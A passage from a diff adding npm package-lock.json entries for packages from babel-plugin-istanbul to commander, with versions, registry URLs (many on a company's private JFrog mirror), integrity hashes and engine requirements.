"node": ">= 8.9.0" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz", + "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==", + "dependencies": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.0.0", + "@types/babel__traverse": "^7.0.6" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/babel-plugin-named-asset-import": { + "version": "0.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz", + "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==", + "peerDependencies": { + "@babel/core": "^7.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.3.tgz", + "integrity": "sha512-bM3gHc337Dta490gg+/AseNB9L4YLHxq1nGKZZSHbhXv4aTYU2MD2cjza1Ru4S6975YLTaL1K8uJf6ukJhhmtw==", + "dependencies": { + "@babel/compat-data": "^7.17.7", + "@babel/helper-define-polyfill-provider": "^0.4.0", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.1.tgz", + "integrity": "sha512-ikFrZITKg1xH6pLND8zT14UPgjKHiGLqex7rGEZCH2EvhsneJaJPemmpQaIZV5AL03II+lXylw3UmddDK8RU5Q==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.0", + "core-js-compat": "^3.30.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.0.tgz", + "integrity": "sha512-hDJtKjMLVa7Z+LwnTCxoDLQj6wdc+B8dun7ayF2fYieI6OzfuvcLMB32ihJZ4UhCBwNYGl5bg/x/P9cMdnkc2g==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-transform-react-remove-prop-types": { + "version": "0.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz", + "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==" + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz", + "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==", + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.8.3", + "@babel/plugin-syntax-import-meta": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.8.3", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz", + "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==", + "dependencies": { + "babel-plugin-jest-hoist": "^27.5.1", + "babel-preset-current-node-syntax": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-react-app": { + "version": "10.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz", + "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/plugin-proposal-class-properties": "^7.16.0", + "@babel/plugin-proposal-decorators": "^7.16.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0", + "@babel/plugin-proposal-numeric-separator": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.0", + "@babel/plugin-proposal-private-methods": "^7.16.0", + "@babel/plugin-transform-flow-strip-types": "^7.16.0", + "@babel/plugin-transform-react-display-name": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", + "@babel/preset-env": "^7.16.4", + "@babel/preset-react": "^7.16.0", + "@babel/preset-typescript": "^7.16.0", + "@babel/runtime": "^7.16.3", + "babel-plugin-macros": "^3.1.0", + "babel-plugin-transform-react-remove-prop-types": "^0.4.24" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==" + }, + "node_modules/bfj": { + "version": "7.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bfj/-/bfj-7.0.2.tgz", + "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==", + "dependencies": { + "bluebird": "^3.5.5", + "check-types": "^11.1.1", + "hoopy": "^0.1.4", + "tryer": "^1.0.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/bonjour-service": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bonjour-service/-/bonjour-service-1.1.1.tgz", + "integrity": "sha512-Z/5lQRMOG9k7W+FkeGTNjh7htqn/2LMnfOvBZ8pynNZCM9MwkQkI3zeI4oz09uWdcgmgHugVvBqxGg4VQJ5PCg==", + "dependencies": { + "array-flatten": "^2.1.2", + "dns-equal": "^1.0.0", + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==" + }, + "node_modules/browserslist": { + "version": "4.23.3", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.3.tgz", + "integrity": "sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001646", + "electron-to-chromium": "^1.5.4", + "node-releases": "^2.0.18", + "update-browserslist-db": "^1.1.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/builtin-modules": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001655", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001655.tgz", + "integrity": "sha512-jRGVy3iSGO5Uutn2owlb5gR6qsGngTw9ZTb4ali9f3glshcNmJ2noam4Mo9zia5P9Dk3jNNydy7vQjuE5dQmfg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/check-types": { + "version": "11.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/check-types/-/check-types-11.2.2.tgz", + "integrity": "sha512-HBiYvXvn9Z70Z88XKjz3AEKd4HJhBXsa3j7xFnITAzoS8+q6eIGi8qDB8FKPBAjtuxjI/zFpwuiCb8oDtKOYrA==" + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==" + }, + "node_modules/clean-css": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/coa": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/coa/-/coa-2.0.2.tgz", + "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==", + "dependencies": { + "@types/q": "^1.5.1", + "chalk": "^2.4.1", + "q": "^1.1.2" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", + "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==" + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + 